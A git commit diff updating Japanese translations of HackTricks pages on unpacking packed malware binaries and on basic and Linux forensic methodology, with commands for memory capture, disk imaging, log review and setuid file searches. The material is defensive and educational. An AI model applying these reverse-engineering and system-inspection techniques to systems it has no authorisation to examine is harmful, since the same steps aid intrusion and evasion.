Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

This commit is contained in:
Translator 2024-07-19 04:03:05 +00:00
parent 74c34dffcc
commit 55975f6ef5
101 changed files with 4826 additions and 3758 deletions

View file

@ -1,37 +1,54 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
{% endhint %}
# パッキングされたバイナリの特定
# パックされたバイナリの識別
* **文字列の不足**: パッキングされたバイナリにはほとんど文字列が含まれていないことが一般的です
* **未使用の文字列が多い**: また、マルウェアが商用パッカーを使用している場合、相互参照がない多くの文字列が見つかることが一般的です。これらの文字列が存在しても、バイナリがパッキングされていないとは限りません。
* バイナリがどのパッカーを使用してパッキングされたかを特定しようとするために、いくつかのツールを使用することもできます:
* **文字列の不足**:パックされたバイナリにはほとんど文字列がないことが一般的です
* **未使用の文字列が多い**:マルウェアが商業用パッカーを使用している場合、相互参照のない多くの文字列が見つかることが一般的です。これらの文字列が存在しても、バイナリがパックされていないことを意味するわけではありません。
* バイナリをパックするために使用されたパッカーを特定するために、いくつかのツールを使用できます:
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
* [Language 2000](http://farrokhi.net/language/)
# 基本的な推奨事項
* **IDAでパックされたバイナリを下から上に分析**することを**開始**します。アンパッカーは、アンパックされたコードが終了すると終了するため、アンパックされたコードに実行を渡す可能性は低いです。
* **JMP**や**CALL**、**レジスタ**や**メモリ領域**への**関数の引数とアドレス方向をプッシュし、`retn`を呼び出す**関数を検索します。なぜなら、その場合、関数の戻り値は、呼び出される前にスタックにプッシュされたアドレスを呼び出す可能性があるからです。
* `VirtualAlloc`に**ブレークポイント**を設定します。これは、プログラムがアンパックされたコードを書き込むことができるメモリ領域を割り当てるためです。関数を実行した後にEAX内の値に到達するために「ユーザーコードに実行」を実行するか、F8を使用して**そのアドレスをダンプで追跡**します。アンパックされたコードが保存される領域であるかどうかはわかりません。
* 引数として値「**40**」を持つ**`VirtualAlloc`**は、Read+Write+Execute実行が必要なコードがここにコピーされるを意味します。
* コードを**アンパック**する間に、**算術演算**や**`memcopy`**または**`Virtual`**`Alloc`のような関数への**複数の呼び出し**を見つけることが一般的です。関数が明らかに算術演算のみを実行し、おそらくいくつかの`memcopy`を実行している場合、関数の終わりを見つけてみることをお勧めしますおそらくJMPやレジスタへの呼び出し**または**少なくとも**最後の関数への呼び出し**を見つけ、その後に実行してコードが興味深くないことを確認します。
* コードをアンパックする際に、**メモリ領域が変更されるたびに**メモリ領域の変更がアンパックコードの**開始を示す可能性**があることに注意してください。Process Hackerを使用して簡単にメモリ領域をダンプできますprocess --> properties --> memory
* コードをアンパックしようとする際に、**バイナリの文字列をチェック**することで、**すでにアンパックされたコードで作業しているかどうかを知る**良い方法です(そのため、単にダンプできます)。ある時点でジャンプを実行し(おそらくメモリ領域を変更)、**追加された文字列がかなり増えた**ことに気付いた場合、**アンパックされたコードで作業している**ことがわかります。\
ただし、パッカーにすでに多くの文字列が含まれている場合は、単語「http」を含む文字列の数を確認して、この数が増加するかどうかを確認できます。
* メモリ領域から実行可能ファイルをダンプする際に、[PE-bear](https://github.com/hasherezade/pe-bear-releases/releases)を使用して一部のヘッダーを修正できます。
* **IDAでパックされたバイナリを下から上に分析し始める**。アンパッカーはアンパックされたコードが終了すると終了するため、アンパッカーが最初にアンパックされたコードに実行を渡すことは考えにくいです。
* **レジスタ**や**メモリ**の**JMP**や**CALL**を探します。また、**引数とアドレスをプッシュしてから`retn`を呼び出す関数**を探します。なぜなら、その場合の関数の戻りは、呼び出す前にスタックにプッシュされたアドレスを呼び出す可能性があるからです。
* `VirtualAlloc`に**ブレークポイント**を設定します。これは、プログラムがアンパックされたコードを書き込むためのメモリ内のスペースを割り当てます。「ユーザーコードまで実行」するか、F8を使用して**関数を実行した後にEAX内の値を取得**し、「**ダンプ内のそのアドレスを追跡**」します。アンパックされたコードが保存される領域であるかどうかはわかりません。
* **`VirtualAlloc`**に**「40」**という値を引数として渡すことは、読み取り+書き込み+実行を意味します(実行が必要なコードがここにコピーされる予定です)。
* コードをアンパックしているとき、**算術演算**や**`memcopy`**や**`Virtual`**`Alloc`のような関数への**いくつかの呼び出し**を見つけるのは普通です。もし、算術演算のみを行い、場合によっては`memcopy`を行う関数にいる場合、**関数の終わりを見つける**おそらくレジスタへのJMPまたはCALL**か、少なくとも最後の関数への呼び出しを見つけて実行する**ことをお勧めします。なぜなら、そのコードは興味深くないからです。
* コードをアンパックしている間、**メモリ領域が変更されたときは注意**してください。メモリ領域の変更は、**アンパックコードの開始を示す可能性があります**。Process Hackerを使用してメモリ領域を簡単にダンプできますプロセス --> プロパティ --> メモリ)。
* コードをアンパックしようとしているとき、**アンパックされたコードで作業しているかどうかを知る良い方法**(その場合は単にダンプできます)は、**バイナリの文字列を確認すること**です。ある時点でジャンプを行い(おそらくメモリ領域を変更)、**多くの文字列が追加されたことに気付いた場合**、**アンパックされたコードで作業していることがわかります**。\
ただし、パッカーにすでに多くの文字列が含まれている場合、「http」という単語を含む文字列の数を確認し、この数が増加するかどうかを確認できます。
* メモリの領域から実行可能ファイルをダンプするとき、[PE-bear](https://github.com/hasherezade/pe-bear-releases/releases)を使用していくつかのヘッダーを修正できます。
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 基本的な法的解析手法
# 基本的なフォレンジック手法
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手します
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}
## イメージの作成とマウント
@ -18,9 +21,9 @@
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
{% endcontent-ref %}
## マルウェア
## マルウェア
これは**イメージを取得した後に実行する最初のステップではありません**、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどがある場合は、これらのマルウェア解析手法を独立して使用できるため、**これらのアクションを心に留めておく**ことが良いでしょう
これは**イメージを取得した後に実行する最初のステップではありません**。しかし、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどがある場合は、このマルウェア分析技術を独立して使用できますので、これらのアクションを**念頭に置いておくことが重要です**
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@ -28,13 +31,13 @@
## イメージの検査
デバイスの**法的イメージ**が与えられた場合、**パーティション、使用されているファイルシステム**を分析し、潜在的に**興味深いファイル**(削除されたものさえも)を**回復**することができます。次の方法で学んでください
デバイスの**フォレンジックイメージ**が提供された場合、**パーティションや使用されているファイルシステムを分析し、**潜在的に**興味深いファイル**(削除されたものも含む)を回復することができます。方法を学ぶには
{% content-ref url="partitions-file-systems-carving/" %}
[partitions-file-systems-carving](partitions-file-systems-carving/)
{% endcontent-ref %}
使用されているOSやプラットフォームに応じて、異なる興味深いアーティファクトを検索する必要があります:
使用されるOSやプラットフォームによって、異なる興味深いアーティファクトを検索する必要があります:
{% content-ref url="windows-forensics/" %}
[windows-forensics](windows-forensics/)
@ -48,16 +51,16 @@
[docker-forensics.md](docker-forensics.md)
{% endcontent-ref %}
## 特定のファイルタイプとソフトウェアの詳細な検査
## 特定のファイルタイプとソフトウェアの深い検査
非常に**疑わしいファイル**がある場合は、**ファイルタイプと作成したソフトウェアに応じて**、いくつかの**トリック**が役立つ場合があります。\
興味深いトリックを学ぶために、次のページを読んでください:
非常に**疑わしい****ファイル**がある場合、**ファイルタイプやそれを作成したソフトウェア**に応じて、いくつかの**トリック**が役立つかもしれません。\
興味深いトリックを学ぶには、次のページをお読みください:
{% content-ref url="specific-software-file-type-tricks/" %}
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
{% endcontent-ref %}
特に以下のページに言及したいと思います:
特に言及したいページがあります:
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
@ -75,9 +78,9 @@
[pcap-inspection](pcap-inspection/)
{% endcontent-ref %}
## **反法的手法**
## **アンチフォレンジック技術**
反法的手法の可能性を考慮してください:
アンチフォレンジック技術の使用の可能性を念頭に置いてください:
{% content-ref url="anti-forensic-techniques.md" %}
[anti-forensic-techniques.md](anti-forensic-techniques.md)
@ -89,14 +92,17 @@
[file-integrity-monitoring.md](file-integrity-monitoring.md)
{% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手します
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -27,7 +27,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
### 基本情報
まず、**良く知られたバイナリとライブラリが入ったUSB**を用意することをお勧めしますUbuntuを取得して、_ /bin_、_ /sbin_、_ /lib_、および_ /lib64_フォルダをコピーするだけで済みます。次に、USBをマウントし、これらのバイナリを使用するように環境変数を変更します
まず、**良く知られたバイナリとライブラリが入ったUSB**を用意することをお勧めしますUbuntuを取得して、_ /bin_、_ /sbin_、_ /lib_、_ /lib64_フォルダをコピーするだけで済みます。次に、USBをマウントし、これらのバイナリを使用するように環境変数を変更します
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
@ -68,7 +68,7 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
{% endhint %}
したがって、同一のUbuntuバージョンがある場合は、`apt-get install lime-forensics-dkms`を使用できます。\
他の場合は、githubから[**LiME**](https://github.com/504ensicsLabs/LiME)をダウンロードし、正しいカーネルヘッダーでコンパイルする必要があります。被害者のマシンの**正確なカーネルヘッダー**を取得するには、単に`/lib/modules/<kernel version>`ディレクトリを自分のマシンに**コピー**し、それを使用してLiMEを**コンパイル**します:
他の場合は、githubから[**LiME**](https://github.com/504ensicsLabs/LiME)をダウンロードし、正しいカーネルヘッダーでコンパイルする必要があります。被害者のマシンの**正確なカーネルヘッダー**を取得するには、単に`/lib/modules/<kernel version>`ディレクトリをあなたのマシンに**コピー**し、それを使用してLiMEを**コンパイル**します:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -79,7 +79,7 @@ LiMEは3つの**フォーマット**をサポートしています:
* PaddedRawと同じですが、右側のビットにゼロが追加されています
* Limeメタデータ付きの推奨フォーマット
LiMEは、`path=tcp:4444`のようなもので、システムに保存する代わりに**ネットワーク経由でダンプを送信する**こともできます。
LiMEは、`path=tcp:4444`のようなもので、**システムに保存するのではなく、ネットワーク経由でダンプを送信する**ためにも使用できます。
### ディスクイメージング
@ -90,7 +90,7 @@ LiMEは、`path=tcp:4444`のようなもので、システムに保存する代
#### ディスクのイメージを取得する
**ケースに関連する何かにコンピュータを接続する前に**、情報を変更しないように**読み取り専用マウントされる**ことを確認することが重要です。
**ケースに関連する何かにコンピュータを接続する前に**、情報を変更しないように**読み取り専用としてマウントされる**ことを確認することが重要です。
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -173,7 +173,7 @@ Linuxは、システムコンポーネントの整合性を確保するための
### マルウェア/ルートキット検出ツール
マルウェアを見つけるのに役立つツールについて学ぶには、以下のページをお読みください:
マルウェアを見つけるのに役立つツールについては、以下のページをお読みください:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@ -205,7 +205,7 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフローを簡単に構築し、**自動化**します。\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -250,7 +250,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
### カーネルモジュール
Linuxカーネルモジュールは、マルウェアがルートキットコンポーネントとして利用することが多く、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは以下の通りです:
Linuxカーネルモジュールは、マルウェアによってルートキットコンポーネントとして利用されることが多く、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは以下の通りです:
* **/lib/modules/$(uname -r)**: 実行中のカーネルバージョンのモジュールを保持します。
* **/etc/modprobe.d**: モジュールのロードを制御するための設定ファイルを含みます。
@ -270,7 +270,7 @@ Linuxシステムは、さまざまなログファイルを通じてユーザー
* **/var/log/syslog** (Debian) または **/var/log/messages** (RedHat): システム全体のメッセージや活動をキャプチャします。
* **/var/log/auth.log** (Debian) または **/var/log/secure** (RedHat): 認証試行、成功したログインおよび失敗したログインを記録します。
* `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。
* `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。
* **/var/log/boot.log**: システム起動メッセージを含みます。
* **/var/log/maillog** または **/var/log/mail.log**: メールサーバーの活動をログに記録し、メール関連サービスの追跡に役立ちます。
* **/var/log/kern.log**: カーネルメッセージを保存し、エラーや警告を含みます。
@ -288,7 +288,7 @@ Linuxシステムは、さまざまなログファイルを通じてユーザー
Linuxシステムのログと監査サブシステムは、侵入やマルウェアインシデントの際に無効化または削除されることがあります。Linuxシステムのログは、悪意のある活動に関する最も有用な情報を含むことが一般的であるため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候である可能性のあるギャップや順序が乱れたエントリを探すことが重要です。
{% endhint %}
**Linuxは各ユーザーのコマンド履歴を保持します**。保存先は以下の通りです:
**Linuxは各ユーザーのコマンド履歴を保持します**。これは以下に保存されます:
* \~/.bash\_history
* \~/.zsh\_history
@ -300,10 +300,10 @@ Linuxシステムのログと監査サブシステムは、侵入やマルウェ
追加の権限を付与できるファイルを確認します:
* 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers` を確認します。
* 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers.d/` を確認します。
* 異常なグループメンバーシップや権限を特定するために、`/etc/groups` を調査します。
* 異常なグループメンバーシップや権限を特定するために、`/etc/passwd` を調査します。
* 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers`を確認します。
* 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers.d/`を確認します。
* 異常なグループメンバーシップや権限を特定するために、`/etc/groups`を調査します。
* 異常なグループメンバーシップや権限を特定するために、`/etc/passwd`を調査します。
一部のアプリも独自のログを生成します:
@ -321,7 +321,7 @@ Linuxシステムのログと監査サブシステムは、侵入やマルウェ
[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxのログファイルディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`を解析してUSBイベント履歴テーブルを構築するために純粋なPython 3で書かれた小さなソフトウェアです。
**使用されたすべてのUSBを知ることは興味深い**ことであり、"違反イベント"そのリストに含まれていないUSBの使用を見つけるために、承認されたUSBのリストがあるとさらに有用です。
使用されたすべてのUSBを**知ることは興味深い**ことであり、"違反イベント"そのリストに含まれていないUSBの使用を見つけるために、承認されたUSBのリストがあるとさらに有用です。
### インストール
```bash
@ -348,26 +348,26 @@ Get Access Today:
## ユーザーアカウントとログオン活動のレビュー
_**/etc/passwd**_、_**/etc/shadow**_、および **セキュリティログ** を調べて、異常な名前や、既知の不正イベントに近い位置で作成または使用されたアカウントを確認します。また、sudoのブルートフォース攻撃の可能性もチェックしてください。\
さらに、_**/etc/sudoers**__**/etc/groups**_ のようなファイルを確認し、ユーザーに与えられた予期しない特権を探します。\
_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調査し、知られている不正なイベントに近い位置で作成または使用された異常な名前やアカウントを探します。また、sudoのブルートフォース攻撃の可能性も確認してください。\
さらに、_**/etc/sudoers**_や_**/etc/groups**_のようなファイルをチェックし、ユーザーに与えられた予期しない特権を確認します。\
最後に、**パスワードなし**または**簡単に推測できる**パスワードを持つアカウントを探します。
## ファイルシステムの調査
### マルウェア調査におけるファイルシステム構造の分析
マルウェアインシデントを調査する際、ファイルシステムの構造は重要な情報源であり、イベントの順序やマルウェアの内容を明らかにします。しかし、マルウェアの者は、ファイルのタイムスタンプを変更したり、データストレージのためにファイルシステムを回避したりするなど、この分析を妨げる技術を開発しています。
マルウェアインシデントを調査する際、ファイルシステムの構造は重要な情報源であり、イベントの順序やマルウェアの内容を明らかにします。しかし、マルウェアの者は、ファイルのタイムスタンプを変更したり、データストレージのためにファイルシステムを回避したりするなど、この分析を妨げる技術を開発しています。
これらのアンチフォレンジック手法に対抗するためには、以下が重要です:
* **Autopsy** のようなツールを使用して、イベントのタイムラインを視覚化するために**徹底的なタイムライン分析を行う**か、**Sleuth Kit** `mactime` を使用して詳細なタイムラインデータを取得します。
* 攻撃者によって使用されるシェルやPHPスクリプトを含む可能性のある、システムの $PATH にある**予期しないスクリプトを調査する**
* **/dev** で異常なファイルを調べる。通常は特別なファイルが含まれていますが、マルウェア関連のファイルが存在する可能性があります。
* **隠しファイルやディレクトリを探す**。名前が ".. " (ドットドットスペース) や "..^G" (ドットドットコントロール-G) のようなものは、悪意のあるコンテンツを隠している可能性があります。
* コマンド `find / -user root -perm -04000 -print` を使用して**setuid rootファイルを特定する**。これにより、攻撃者によって悪用される可能性のある権限の高いファイルが見つかります。
* **inodeテーブルの削除タイムスタンプをレビューし**、大量のファイル削除を特定します。これは、rootkitやトロイの木馬の存在を示す可能性があります。
* 1つの悪意のあるファイルを特定した後、**隣接するinodeを調査し**、近くに配置されている悪意のあるファイルを探します。
* **一般的なバイナリディレクトリ** (_/bin_、_/sbin_) で最近変更されたファイルを確認します。これらはマルウェアによって変更されている可能性があります。
* **Autopsy**のようなツールを使用して**徹底的なタイムライン分析**を行い、イベントのタイムラインを視覚化するか、**Sleuth Kit**の`mactime`を使用して詳細なタイムラインデータを取得します。
* 攻撃者によって使用されるシェルやPHPスクリプトを含む可能性のある、システムの$PATH内の**予期しないスクリプトを調査**します
* **/dev**内の異常なファイルを**調査**します。通常、特別なファイルが含まれていますが、マルウェア関連のファイルが存在する可能性があります。
* **隠しファイルやディレクトリを検索**します。名前が「.. 」(ドットドットスペース)や「..^G」(ドットドットコントロール-G)のようなものは、悪意のあるコンテンツを隠している可能性があります。
* コマンドを使用して**setuid rootファイルを特定**します:`find / -user root -perm -04000 -print` これは、攻撃者によって悪用される可能性のある昇格された権限を持つファイルを見つけます。
* **inodeテーブルの削除タイムスタンプをレビュー**し、大量のファイル削除を特定します。これは、rootkitやトロイの木馬の存在を示す可能性があります。
* 1つの悪意のあるファイルを特定した後、**隣接するinodeを検査**し、近くに配置されている悪意のあるファイルを探します。
* **一般的なバイナリディレクトリ**(_/bin_、_/sbin_)内の最近変更されたファイルを確認します。これらはマルウェアによって変更されている可能性があります。
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -376,7 +376,7 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
注意してください、**攻撃者**は**ファイルを正当なものに見せるために** **時間**を**変更**することができますが、**inode**を**変更**することは**できません**もし、**ファイル**が同じフォルダ内の他のファイルと**同じ時間**に作成および変更されたことを示しているが、**inode**が**予期せず大きい**場合、その**ファイルのタイムスタンプは変更された**ことになります
注意してください、**攻撃者**は**ファイルを正当なものに見せるために** **時間**を**変更**することができますが、**inode**を**変更**することはできません。同じフォルダ内の他のファイルと**同時に作成および変更された**ことを示す**ファイル**があり、しかし**inode**が**予期せず大きい**場合、その**ファイルのタイムスタンプは変更されています**
{% endhint %}
## 異なるファイルシステムバージョンの比較
@ -389,11 +389,11 @@ ls -lai /bin | sort -n```
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
* **変更された内容**、特定の行を無視しながら変更をリストします
* **変更された内容**、特定の行を無視しながら変更をリストします:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
* **削除されたファイルを検出するために**:
* **削除されたファイルを検出する**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
@ -415,24 +415,25 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **書籍: Linuxシステムのマルウェアフォレンジックフィールドガイド: デジタルフォレンジックフィールドガイド**
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricksをサポートする</summary>
あなたは**サイバーセキュリティ会社**で働いていますか?あなたの**会社をHackTricksで宣伝したいですか**?それとも**最新のPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか**[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見てください
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **参加して** [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**私を** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**でフォローしてください。**
